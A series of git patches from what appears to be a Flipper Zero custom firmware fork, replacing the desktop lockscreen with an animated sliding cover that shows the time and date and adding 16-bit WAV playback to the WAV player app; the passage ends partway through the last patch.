From 1eae24cf68083df391c69bfea58d88b66ee93d42 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sat, 18 Mar 2023 22:48:10 +0000 Subject: [PATCH 158/329] Animate lockscreen --- applications/services/desktop/desktop.c | 3 +- applications/services/desktop/desktop_i.h | 2 - .../desktop/scenes/desktop_scene_locked.c | 4 +- .../desktop/views/desktop_view_locked.c | 113 +++++++++++----- .../desktop/views/desktop_view_locked.h | 2 +- .../desktop/views/desktop_view_lockscreen.c | 122 ------------------ .../desktop/views/desktop_view_lockscreen.h | 13 -- 7 files changed, 83 insertions(+), 176 deletions(-) delete mode 100644 applications/services/desktop/views/desktop_view_lockscreen.c delete mode 100644 applications/services/desktop/views/desktop_view_lockscreen.h diff --git a/applications/services/desktop/desktop.c b/applications/services/desktop/desktop.c index 79bd3cfb1..1fe23bb1d 100644 --- a/applications/services/desktop/desktop.c +++ b/applications/services/desktop/desktop.c @@ -165,7 +165,6 @@ Desktop* desktop_alloc() { desktop->debug_view = desktop_debug_alloc(); desktop->hw_mismatch_popup = popup_alloc(); desktop->locked_view = desktop_view_locked_alloc(); - desktop->lockscreen_view = desktop_view_lockscreen_alloc(); desktop->pin_input_view = desktop_view_pin_input_alloc(); desktop->pin_timeout_view = desktop_view_pin_timeout_alloc(); desktop->slideshow_view = desktop_view_slideshow_alloc(); @@ -181,7 +180,7 @@ Desktop* desktop_alloc() { /* locked view (as animation view) attends in 2 scenes: main & locked, * because it has to draw "Unlocked" label on main scene */ desktop->locked_view_stack = view_stack_alloc(); - view_stack_add_view(desktop->locked_view_stack, desktop_view_lockscreen_get_view(desktop->lockscreen_view)); + view_stack_add_view(desktop->locked_view_stack, dolphin_view); view_stack_add_view( desktop->locked_view_stack, desktop_view_locked_get_view(desktop->locked_view)); diff --git a/applications/services/desktop/desktop_i.h b/applications/services/desktop/desktop_i.h index 2935d0594..822eecc76 100644 --- a/applications/services/desktop/desktop_i.h +++ b/applications/services/desktop/desktop_i.h @@ -5,7 +5,6 @@ #include "views/desktop_view_pin_timeout.h" #include "views/desktop_view_pin_input.h" #include "views/desktop_view_locked.h" -#include "views/desktop_view_lockscreen.h" #include "views/desktop_view_main.h" #include "views/desktop_view_lock_menu.h" #include "views/desktop_view_debug.h" @@ -48,7 +47,6 @@ struct Desktop { DesktopLockMenuView* lock_menu; DesktopDebugView* debug_view; DesktopViewLocked* locked_view; - DesktopLockscreenView* lockscreen_view; DesktopMainView* main_view; DesktopViewPinTimeout* pin_timeout_view; DesktopSlideshowView* slideshow_view; diff --git a/applications/services/desktop/scenes/desktop_scene_locked.c b/applications/services/desktop/scenes/desktop_scene_locked.c index af19efc74..f981572e5 100644 --- a/applications/services/desktop/scenes/desktop_scene_locked.c +++ b/applications/services/desktop/scenes/desktop_scene_locked.c @@ -60,11 +60,11 @@ void desktop_scene_locked_on_enter(void* context) { desktop->scene_manager, DesktopScenePinTimeout, pin_timeout); switch_to_timeout_scene = true; } else { - desktop_view_locked_close_doors(desktop->locked_view); + desktop_view_locked_close_cover(desktop->locked_view); } } else { desktop_view_locked_lock(desktop->locked_view, false); - desktop_view_locked_close_doors(desktop->locked_view); + desktop_view_locked_close_cover(desktop->locked_view); } scene_manager_set_scene_state( desktop->scene_manager, DesktopSceneLocked, SCENE_LOCKED_REPEAT_ENTER); diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index 0bf757036..ca7666b8e 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -6,20 +6,19 @@ #include #include #include +#include +#include #include #include "../desktop_i.h" #include "desktop_view_locked.h" -#define DOOR_MOVING_INTERVAL_MS (1000 / 16) +#define COVER_MOVING_INTERVAL_MS (1000 / 16) #define LOCKED_HINT_TIMEOUT_MS (1000) #define UNLOCKED_HINT_TIMEOUT_MS (2000) -#define DOOR_OFFSET_START -55 -#define DOOR_OFFSET_END 0 - -#define DOOR_L_FINAL_POS 0 -#define DOOR_R_FINAL_POS 60 +#define COVER_OFFSET_START -64 +#define COVER_OFFSET_END 0 #define UNLOCK_CNT 3 #define UNLOCK_RST_TIMEOUT 600 @@ -37,14 +36,15 @@ struct DesktopViewLocked { typedef enum { DesktopViewLockedStateUnlocked, DesktopViewLockedStateLocked, - DesktopViewLockedStateDoorsClosing, + DesktopViewLockedStateCoverClosing, + DesktopViewLockedStateCoverOpening, DesktopViewLockedStateLockedHintShown, DesktopViewLockedStateUnlockedHintShown } DesktopViewLockedState; typedef struct { bool pin_locked; - int8_t door_offset; + int8_t cover_offset; DesktopViewLockedState view_state; } DesktopViewLockedModel; @@ -63,20 +63,59 @@ static void locked_view_timer_callback(TimerHandle_t timer) { locked_view->callback(DesktopLockedEventUpdate, locked_view->context); } -static void desktop_view_locked_doors_draw(Canvas* canvas, DesktopViewLockedModel* model) { - int8_t offset = model->door_offset; - uint8_t door_left_x = DOOR_L_FINAL_POS + offset; - uint8_t door_right_x = DOOR_R_FINAL_POS - offset; - uint8_t height = icon_get_height(&I_DoorLeft_70x55); - canvas_draw_icon(canvas, door_left_x, canvas_height(canvas) - height, &I_DoorLeft_70x55); - canvas_draw_icon(canvas, door_right_x, canvas_height(canvas) - height, &I_DoorRight_70x55); +void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { + DesktopViewLockedModel* model = m; + int y = model->cover_offset; + char time_str[9]; + char date_str[14]; + char meridian_str[3]; + FuriHalRtcDateTime datetime; + furi_hal_rtc_get_datetime(&datetime); + LocaleTimeFormat time_format = locale_get_time_format(); + LocaleDateFormat date_format = locale_get_date_format(); + + if(time_format == LocaleTimeFormat24h) { + snprintf(time_str, 9, "%.2d:%.2d", datetime.hour, datetime.minute); + } else { + bool pm = datetime.hour > 12; + bool pm12 = datetime.hour >= 12; + snprintf(time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); + snprintf(meridian_str, 3, pm12 ? "PM" : "AM"); + } + + if(date_format == LocaleDateFormatYMD) { + snprintf(date_str, 14, "%.4d-%.2d-%.2d", datetime.year, datetime.month, datetime.day); + } else if(date_format == LocaleDateFormatMDY) { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.month, datetime.day, datetime.year); + } else { + snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); + } + + canvas_draw_icon(canvas, 0, 0 + y, XTREME_ASSETS()->I_Lockscreen); + canvas_set_font(canvas, FontBigNumbers); + canvas_draw_str(canvas, 0, 64 + y, time_str); + int meridian_offset = canvas_string_width(canvas, time_str) + 2; + canvas_set_font(canvas, FontSecondary); + canvas_draw_str(canvas, 0, 48 + y, date_str); + if(time_format == LocaleTimeFormat12h) { + canvas_draw_str(canvas, 0 + meridian_offset, 64 + y, meridian_str); + } + canvas_set_font(canvas, FontBatteryPercent); + canvas_draw_str_aligned(canvas, 64, 6 + y, AlignCenter, AlignCenter, "UP to Unlock"); } -static bool desktop_view_locked_doors_move(DesktopViewLockedModel* model) { +static bool desktop_view_locked_cover_move(DesktopViewLockedModel* model, bool down) { bool stop = false; - if(model->door_offset < DOOR_OFFSET_END) { - model->door_offset = CLAMP(model->door_offset + 5, DOOR_OFFSET_END, DOOR_OFFSET_START); - stop = true; + if(down) { + if(model->cover_offset < COVER_OFFSET_END) { + model->cover_offset = CLAMP(model->cover_offset + 5, COVER_OFFSET_END, COVER_OFFSET_START); + stop = true; + } + } else { + if(model->cover_offset > COVER_OFFSET_START) { + model->cover_offset = CLAMP(model->cover_offset - 5, COVER_OFFSET_END, COVER_OFFSET_START); + stop = true; + } } return stop; @@ -97,9 +136,13 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); DesktopViewLockedState view_state = model->view_state; - if(view_state == DesktopViewLockedStateDoorsClosing && - !desktop_view_locked_doors_move(model)) { + if(view_state == DesktopViewLockedStateCoverClosing && + !desktop_view_locked_cover_move(model, true)) { model->view_state = DesktopViewLockedStateLocked; + } else if(view_state == DesktopViewLockedStateCoverOpening && + !desktop_view_locked_cover_move(model, false)) { + model->view_state = DesktopViewLockedStateUnlocked; + xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); } else if(view_state == DesktopViewLockedStateLockedHintShown) { model->view_state = DesktopViewLockedStateLocked; } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { @@ -108,7 +151,7 @@ void desktop_view_locked_update(DesktopViewLocked* locked_view) { view_commit_model(locked_view->view, true); - if(view_state != DesktopViewLockedStateDoorsClosing) { + if(view_state != DesktopViewLockedStateCoverClosing && view_state != DesktopViewLockedStateCoverOpening) { xTimerStop(locked_view->timer, portMAX_DELAY); } } @@ -118,10 +161,10 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { DesktopViewLockedState view_state = m->view_state; canvas_set_color(canvas, ColorBlack); - if(view_state == DesktopViewLockedStateDoorsClosing) { - desktop_view_locked_doors_draw(canvas, m); - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Locked"); + if(view_state == DesktopViewLockedStateLocked || view_state == DesktopViewLockedStateLockedHintShown || view_state == DesktopViewLockedStateCoverClosing || view_state == DesktopViewLockedStateCoverOpening) { + desktop_view_locked_draw_lockscreen(canvas, m); + // canvas_set_font(canvas, FontPrimary); + // elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Locked"); } else if(view_state == DesktopViewLockedStateLockedHintShown) { canvas_set_font(canvas, FontSecondary); elements_bold_rounded_frame(canvas, 14, 2 + STATUS_BAR_Y_SHIFT, 99, 48); @@ -132,8 +175,8 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { canvas_draw_icon(canvas, 16, 7 + STATUS_BAR_Y_SHIFT, &I_WarningDolphin_45x42); canvas_draw_dot(canvas, 17, 61); } else if(view_state == DesktopViewLockedStateUnlockedHintShown) { - canvas_set_font(canvas, FontPrimary); - elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Unlocked"); + // canvas_set_font(canvas, FontPrimary); + // elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Unlocked"); } } @@ -212,13 +255,13 @@ void desktop_view_locked_free(DesktopViewLocked* locked_view) { free(locked_view); } -void desktop_view_locked_close_doors(DesktopViewLocked* locked_view) { +void desktop_view_locked_close_cover(DesktopViewLocked* locked_view) { DesktopViewLockedModel* model = view_get_model(locked_view->view); furi_assert(model->view_state == DesktopViewLockedStateLocked); - model->view_state = DesktopViewLockedStateDoorsClosing; - model->door_offset = DOOR_OFFSET_START; + model->view_state = DesktopViewLockedStateCoverClosing; + model->cover_offset = COVER_OFFSET_START; view_commit_model(locked_view->view, true); - xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(DOOR_MOVING_INTERVAL_MS), portMAX_DELAY); + xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { @@ -232,10 +275,12 @@ void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked) { void desktop_view_locked_unlock(DesktopViewLocked* locked_view) { locked_view->lock_count = 0; DesktopViewLockedModel* model = view_get_model(locked_view->view); - model->view_state = DesktopViewLockedStateUnlockedHintShown; + // model->view_state = DesktopViewLockedStateUnlockedHintShown; + model->view_state = DesktopViewLockedStateCoverOpening; + model->cover_offset = COVER_OFFSET_END; model->pin_locked = false; view_commit_model(locked_view->view, true); - xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(UNLOCKED_HINT_TIMEOUT_MS), portMAX_DELAY); + xTimerChangePeriod(locked_view->timer, pdMS_TO_TICKS(COVER_MOVING_INTERVAL_MS), portMAX_DELAY); } bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view) { diff --git a/applications/services/desktop/views/desktop_view_locked.h b/applications/services/desktop/views/desktop_view_locked.h index ea065e398..4c12c0274 100644 --- a/applications/services/desktop/views/desktop_view_locked.h +++ b/applications/services/desktop/views/desktop_view_locked.h @@ -18,5 +18,5 @@ DesktopViewLocked* desktop_view_locked_alloc(); void desktop_view_locked_free(DesktopViewLocked* locked_view); void desktop_view_locked_lock(DesktopViewLocked* locked_view, bool pin_locked); void desktop_view_locked_unlock(DesktopViewLocked* locked_view); -void desktop_view_locked_close_doors(DesktopViewLocked* locked_view); +void desktop_view_locked_close_cover(DesktopViewLocked* locked_view); bool desktop_view_locked_is_locked_hint_visible(DesktopViewLocked* locked_view); diff --git a/applications/services/desktop/views/desktop_view_lockscreen.c b/applications/services/desktop/views/desktop_view_lockscreen.c deleted file mode 100644 index e422c9192..000000000 --- a/applications/services/desktop/views/desktop_view_lockscreen.c +++ /dev/null @@ -1,122 +0,0 @@ -#include -#include -#include -#include -#include -#include - -#include "desktop_view_lockscreen.h" -#include "../desktop_i.h" - -struct DesktopLockscreenView { - View* view; - void* context; -}; - -typedef struct { - LocaleDateFormat date_format; - LocaleTimeFormat time_format; -} DesktopLockscreenViewModel; - -static void desktop_view_lockscreen_draw(Canvas* canvas, void* context) { - DesktopLockscreenViewModel* model = context; - canvas_clear(canvas); - canvas_draw_icon(canvas, 0, 0, XTREME_ASSETS()->I_Lockscreen); - - char time_str[9]; - char date_str[14]; - char meridian_str[3]; - FuriHalRtcDateTime datetime; - furi_hal_rtc_get_datetime(&datetime); - - if(model->time_format == LocaleTimeFormat24h) { - snprintf(time_str, 9, "%.2d:%.2d", datetime.hour, datetime.minute); - } else { - bool pm = datetime.hour > 12; - bool pm12 = datetime.hour >= 12; - snprintf(time_str, 9, "%.2d:%.2d", pm ? datetime.hour - 12 : datetime.hour, datetime.minute); - snprintf(meridian_str, 3, pm12 ? "PM" : "AM"); - } - - if(model->date_format == LocaleDateFormatYMD) { - snprintf(date_str, 14, "%.4d-%.2d-%.2d", datetime.year, datetime.month, datetime.day); - } else if(model->date_format == LocaleDateFormatMDY) { - snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.month, datetime.day, datetime.year); - } else { - snprintf(date_str, 14, "%.2d-%.2d-%.4d", datetime.day, datetime.month, datetime.year); - } - - canvas_set_font(canvas, FontBigNumbers); - canvas_draw_str(canvas, 0, 64, time_str); - int meridian_offset = canvas_string_width(canvas, time_str) + 2; - canvas_set_font(canvas, FontSecondary); - canvas_draw_str(canvas, 0, 48, date_str); - if(model->time_format == LocaleTimeFormat12h) { - canvas_draw_str(canvas, 0 + meridian_offset, 64, meridian_str); - } - canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 64, 6, AlignCenter, AlignCenter, "UP to Unlock"); -} - -static bool desktop_view_lockscreen_input(InputEvent* event, void* context) { - furi_assert(event); - UNUSED(context); - // DesktopLockscreenView* instance = context; - - // DesktopLockscreenViewModel* model = view_get_model(instance->view); - if(event->type == InputTypeShort) { - switch(event->key) { - case InputKeyLeft: - case InputKeyRight: - case InputKeyOk: - case InputKeyBack: - default: - break; - } - } - // view_commit_model(instance->view, update_view); - - return true; -} - -static void desktop_view_lockscreen_enter(void* context) { - DesktopLockscreenView* instance = context; - - DesktopLockscreenViewModel* model = view_get_model(instance->view); - model->time_format = locale_get_time_format(); - model->date_format = locale_get_date_format(); - view_commit_model(instance->view, false); -} - -static void desktop_view_lockscreen_exit(void* context) { - DesktopLockscreenView* instance = context; - UNUSED(instance); - - // DesktopLockscreenViewModel* model = view_get_model(instance->view); - // view_commit_model(instance->view, false); -} - -DesktopLockscreenView* desktop_view_lockscreen_alloc() { - DesktopLockscreenView* instance = malloc(sizeof(DesktopLockscreenView)); - instance->view = view_alloc(); - view_allocate_model(instance->view, ViewModelTypeLocking, sizeof(DesktopLockscreenViewModel)); - view_set_context(instance->view, instance); - view_set_draw_callback(instance->view, (ViewDrawCallback)desktop_view_lockscreen_draw); - view_set_input_callback(instance->view, desktop_view_lockscreen_input); - view_set_enter_callback(instance->view, desktop_view_lockscreen_enter); - view_set_exit_callback(instance->view, desktop_view_lockscreen_exit); - - return instance; -} - -void desktop_view_lockscreen_free(DesktopLockscreenView* instance) { - furi_assert(instance); - - view_free(instance->view); - free(instance); -} - -View* desktop_view_lockscreen_get_view(DesktopLockscreenView* instance) { - furi_assert(instance); - return instance->view; -} diff --git a/applications/services/desktop/views/desktop_view_lockscreen.h b/applications/services/desktop/views/desktop_view_lockscreen.h deleted file mode 100644 index 64e9ae7c9..000000000 --- a/applications/services/desktop/views/desktop_view_lockscreen.h +++ /dev/null @@ -1,13 +0,0 @@ -#pragma once - -#include - -#include "desktop_events.h" - -typedef struct DesktopLockscreenView DesktopLockscreenView; - -DesktopLockscreenView* desktop_view_lockscreen_alloc(); - -void desktop_view_lockscreen_free(DesktopLockscreenView* main_view); - -View* desktop_view_lockscreen_get_view(DesktopLockscreenView* main_view); From 76d3f84a5eb069b749e3ad20df6fdbbc785eb253 Mon Sep 17 00:00:00 2001 From: MX <10697207+xMasterX@users.noreply.github.com> Date: Sun, 19 Mar 2023 02:20:23 +0300 Subject: [PATCH 159/329] Update WAV Player, 16 bit support by @LTVA1, in current condition has some issues with rewind on 16bit files, but plays them without problems --- applications/external/wav_player/README.md | 4 +- applications/external/wav_player/wav_player.c | 111 +++++++++++++++++- .../external/wav_player/wav_player_hal.c | 6 +- .../external/wav_player/wav_player_view.c | 18 +++ .../external/wav_player/wav_player_view.h | 6 + 5 files changed, 136 insertions(+), 9 deletions(-) diff --git a/applications/external/wav_player/README.md b/applications/external/wav_player/README.md index e5ea73c2f..89052646e 100644 --- a/applications/external/wav_player/README.md +++ b/applications/external/wav_player/README.md @@ -1,4 +1,4 @@ # WAV player - A Flipper Zero application for playing wav files. My fork adds support for correct playback speed (for files with different sample rates) and for mono files (original wav player only plays stereo). You still need to convert your file to unsigned 8-bit PCM format for it to played correctly on flipper. + A Flipper Zero application for playing wav files. My fork adds support for correct playback speed (for files with different sample rates) and for mono files (original wav player only plays stereo). ~~You still need to convert your file to unsigned 8-bit PCM format for it to played correctly on flipper~~. Now supports 16-bit (ordinary) wav files too, both mono and stereo! -Original app by https://github.com/DrZlo13. \ No newline at end of file +Original app by https://github.com/DrZlo13. diff --git a/applications/external/wav_player/wav_player.c b/applications/external/wav_player/wav_player.c index 3fb8b1ea5..ce1428682 100644 --- a/applications/external/wav_player/wav_player.c +++ b/applications/external/wav_player/wav_player.c @@ -127,7 +127,7 @@ static void app_free(WavPlayerApp* app) { // TODO: that works only with 8-bit 2ch audio static bool fill_data(WavPlayerApp* app, size_t index) { - if(app->num_channels == 1) { + if(app->num_channels == 1 && app->bits_per_sample == 8) { uint16_t* sample_buffer_start = &app->sample_buffer[index]; size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count_half); @@ -166,7 +166,108 @@ static bool fill_data(WavPlayerApp* app, size_t index) { return count != app->samples_count_half; } - if(app->num_channels == 2) { + if(app->num_channels == 1 && app->bits_per_sample == 16) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = count; i < app->samples_count; i++) { + //app->tmp_buffer[i] = 0; + } + + for(size_t i = 0; i < app->samples_count; i += 2) { + int16_t int_16 = + (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 2] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; + } + + if(app->num_channels == 2 && app->bits_per_sample == 16) { + uint16_t* sample_buffer_start = &app->sample_buffer[index]; + size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = 0; i < app->samples_count; i += 4) { + int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); + int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 4] = data; + } + + count = stream_read(app->stream, app->tmp_buffer, app->samples_count); + + for(size_t i = 0; i < app->samples_count; i += 4) { + int16_t L = (((int16_t)app->tmp_buffer[i + 1] << 8) + (int16_t)app->tmp_buffer[i]); + int16_t R = (((int16_t)app->tmp_buffer[i + 3] << 8) + (int16_t)app->tmp_buffer[i + 2]); + int32_t int_16 = L / 2 + R / 2; // (L + R) / 2 + + float data = ((float)int_16 / 256.0 + 127.0); + data -= UINT8_MAX / 2; // to signed + data /= UINT8_MAX / 2; // scale -1..1 + + data *= app->volume; // volume + data = tanhf(data); // hyperbolic tangent limiter + + data *= UINT8_MAX / 2; // scale -128..127 + data += UINT8_MAX / 2; // to unsigned + + if(data < 0) { + data = 0; + } + + if(data > 255) { + data = 255; + } + + sample_buffer_start[i / 4 + app->samples_count / 4] = data; + } + + wav_player_view_set_data(app->view, sample_buffer_start, app->samples_count_half); + + return count != app->samples_count; + } + + if(app->num_channels == 2 && app->bits_per_sample == 8) { uint16_t* sample_buffer_start = &app->sample_buffer[index]; size_t count = stream_read(app->stream, app->tmp_buffer, app->samples_count); @@ -270,6 +371,9 @@ static void app_run(WavPlayerApp* app) { while(1) { if(furi_message_queue_get(app->queue, &event, FuriWaitForever) == FuriStatusOk) { if(event.type == WavPlayerEventHalfTransfer) { + wav_player_view_set_chans(app->view, app->num_channels); + wav_player_view_set_bits(app->view, app->bits_per_sample); + eof = fill_data(app, 0); wav_player_view_set_current(app->view, stream_tell(app->stream)); if(eof) { @@ -280,6 +384,9 @@ static void app_run(WavPlayerApp* app) { } } else if(event.type == WavPlayerEventFullTransfer) { + wav_player_view_set_chans(app->view, app->num_channels); + wav_player_view_set_bits(app->view, app->bits_per_sample); + eof = fill_data(app, app->samples_count_half); wav_player_view_set_current(app->view, stream_tell(app->stream)); if(eof) { diff --git a/applications/external/wav_player/wav_player_hal.c b/applications/external/wav_player/wav_player_hal.c index ba049321d..40f7a3ff5 100644 --- a/applications/external/wav_player/wav_player_hal.c +++ b/applications/external/wav_player/wav_player_hal.c @@ -35,7 +35,7 @@ void wav_player_speaker_init(uint32_t sample_rate) { TIM_InitStruct.Prescaler = 0; //TIM_InitStruct.Autoreload = 1451; //64 000 000 / 1451 ~= 44100 Hz - TIM_InitStruct.Autoreload = 64000000 / sample_rate; //to support various sample rates + TIM_InitStruct.Autoreload = 64000000 / sample_rate - 1; //to support various sample rates LL_TIM_Init(SAMPLE_RATE_TIMER, &TIM_InitStruct); @@ -48,16 +48,12 @@ void wav_player_speaker_init(uint32_t sample_rate) { //========================================================= //configuring PA6 pin as TIM16 output - //furi_hal_gpio_init_ex(&gpio_ext_pa6, (GpioMode)GpioPullNo, (GpioPull)GpioModeAltFunctionPushPull, GpioSpeedVeryHigh, GpioAltFn14TIM16); - //furi_hal_gpio_init_ex(&gpio_ext_pa6, (GpioMode)GpioPullNo, (GpioPull)GpioModeAltFunctionPushPull, GpioSpeedLow, GpioAltFn14TIM16); furi_hal_gpio_init_ex( &gpio_ext_pa6, GpioModeAltFunctionPushPull, GpioPullNo, GpioSpeedVeryHigh, GpioAltFn14TIM16); - //furi_hal_gpio_init_simple(&gpio_ext_pa6, GpioModeOutputPushPull); - //furi_hal_gpio_write(&gpio_ext_pa6, false); } void wav_player_speaker_start() { diff --git a/applications/external/wav_player/wav_player_view.c b/applications/external/wav_player/wav_player_view.c index b2414d0b8..285b3dd33 100644 --- a/applications/external/wav_player/wav_player_view.c +++ b/applications/external/wav_player/wav_player_view.c @@ -12,6 +12,12 @@ static void wav_player_view_draw_callback(Canvas* canvas, void* _model) { uint8_t x_pos = 0; uint8_t y_pos = 0; + /*char buffer[20]; + snprintf(buffer, sizeof(buffer), "%d", model->num_channels); + canvas_draw_str(canvas, 0, 10, buffer); + snprintf(buffer, sizeof(buffer), "%d", model->bits_per_sample); + canvas_draw_str(canvas, 0, 20, buffer);*/ + // volume x_pos = 123; y_pos = 0; @@ -156,6 +162,18 @@ void wav_player_view_set_play(WavPlayerView* wav_view, bool play) { wav_view->view, WavPlayerViewModel * model, { model->play = play; }, true); } +void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn) { + furi_assert(wav_view); + with_view_model( + wav_view->view, WavPlayerViewModel * model, { model->num_channels = chn; }, true); +} + +void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit) { + furi_assert(wav_view); + with_view_model( + wav_view->view, WavPlayerViewModel * model, { model->bits_per_sample = bit; }, true); +} + void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count) { furi_assert(wav_view); with_view_model( diff --git a/applications/external/wav_player/wav_player_view.h b/applications/external/wav_player/wav_player_view.h index 3ef9251fe..b7b0ef908 100644 --- a/applications/external/wav_player/wav_player_view.h +++ b/applications/external/wav_player/wav_player_view.h @@ -43,6 +43,9 @@ typedef struct { size_t end; size_t current; uint8_t data[DATA_COUNT]; + + uint16_t bits_per_sample; + uint16_t num_channels; } WavPlayerViewModel; WavPlayerView* wav_player_view_alloc(); @@ -63,6 +66,9 @@ void wav_player_view_set_play(WavPlayerView* wav_view, bool play); void wav_player_view_set_data(WavPlayerView* wav_view, uint16_t* data, size_t data_count); +void wav_player_view_set_bits(WavPlayerView* wav_view, uint16_t bit); +void wav_player_view_set_chans(WavPlayerView* wav_view, uint16_t chn); + void wav_player_view_set_ctrl_callback(WavPlayerView* wav_view, WavPlayerCtrlCallback callback); void wav_player_view_set_context(WavPlayerView* wav_view, void* context); From c3c4373539805d310fcf9021973e6c00a3c21b77 Mon Sep 17 00:00:00 2001 From: Willy-JL <49810075+Willy-JL@users.noreply.github.com> Date: Sun, 19 Mar 2023 00:10:35 +0000 Subject: [PATCH 160/329] Lockscreen improvements --- .../desktop/views/desktop_view_locked.c | 30 +++++++------------ 1 file changed, 11 insertions(+), 19 deletions(-) diff --git a/applications/services/desktop/views/desktop_view_locked.c b/applications/services/desktop/views/desktop_view_locked.c index ca7666b8e..31b355ea2 100644 --- a/applications/services/desktop/views/desktop_view_locked.c +++ b/applications/services/desktop/views/desktop_view_locked.c @@ -13,7 +13,7 @@ #include "../desktop_i.h" #include "desktop_view_locked.h" -#define COVER_MOVING_INTERVAL_MS (1000 / 16) +#define COVER_MOVING_INTERVAL_MS (50) #define LOCKED_HINT_TIMEOUT_MS (1000) #define UNLOCKED_HINT_TIMEOUT_MS (2000) @@ -101,19 +101,22 @@ void desktop_view_locked_draw_lockscreen(Canvas* canvas, void* m) { canvas_draw_str(canvas, 0 + meridian_offset, 64 + y, meridian_str); } canvas_set_font(canvas, FontBatteryPercent); - canvas_draw_str_aligned(canvas, 64, 6 + y, AlignCenter, AlignCenter, "UP to Unlock"); + if(model->view_state == DesktopViewLockedStateLockedHintShown) { + canvas_draw_str_aligned(canvas, 79, 6 + y, AlignRight, AlignCenter, "Press 3x"); + canvas_draw_icon(canvas, 81, 2 + y, &I_Pin_back_arrow_10x8); + } } static bool desktop_view_locked_cover_move(DesktopViewLockedModel* model, bool down) { bool stop = false; if(down) { if(model->cover_offset < COVER_OFFSET_END) { - model->cover_offset = CLAMP(model->cover_offset + 5, COVER_OFFSET_END, COVER_OFFSET_START); + model->cover_offset = CLAMP(model->cover_offset + 8, COVER_OFFSET_END, COVER_OFFSET_START); stop = true; } } else { if(model->cover_offset > COVER_OFFSET_START) { - model->cover_offset = CLAMP(model->cover_offset - 5, COVER_OFFSET_END, COVER_OFFSET_START); + model->cover_offset = CLAMP(model->cover_offset - 8, COVER_OFFSET_END, COVER_OFFSET_START); stop = true; } } @@ -161,22 +164,11 @@ static void desktop_view_locked_draw(Canvas* canvas, void* model) { DesktopViewLockedState view_state = m->view_state; canvas_set_color(canvas, ColorBlack); - if(view_state == DesktopViewLockedStateLocked || view_state == DesktopViewLockedStateLockedHintShown || view_state == DesktopViewLockedStateCoverClosing || view_state == DesktopViewLockedStateCoverOpening) { + if(view_state == DesktopViewLockedStateLocked || + view_state == DesktopViewLockedStateLockedHintShown || + view_state == DesktopViewLockedStateCoverClosing || + view_state == DesktopViewLockedStateCoverOpening) { desktop_view_locked_draw_lockscreen(canvas, m); - // canvas_set_font(canvas, FontPrimary); - // elements_multiline_text_framed(canvas, 42, 30 + STATUS_BAR_Y_SHIFT, "Locked"); - } else if(view_state == DesktopViewLockedStateLockedHintShown) { - canvas_set_font(canvas, FontSecondary); - elements_bold_rounded_frame(canvas, 14, 2 + STATUS_BAR_Y_SHIFT, 99, 48); - elements_multiline_text(canvas, 65, 20 + STATUS_BAR_Y_SHIFT, "To unlock\npress:"); - canvas_draw_icon(canvas, 65, 36 + STATUS_BAR_Y_SHIFT, &I_Pin_back_arrow_10x8); - canvas_draw_icon(canvas, 80, 36 + STATUS_BAR_Y_SHIFT, 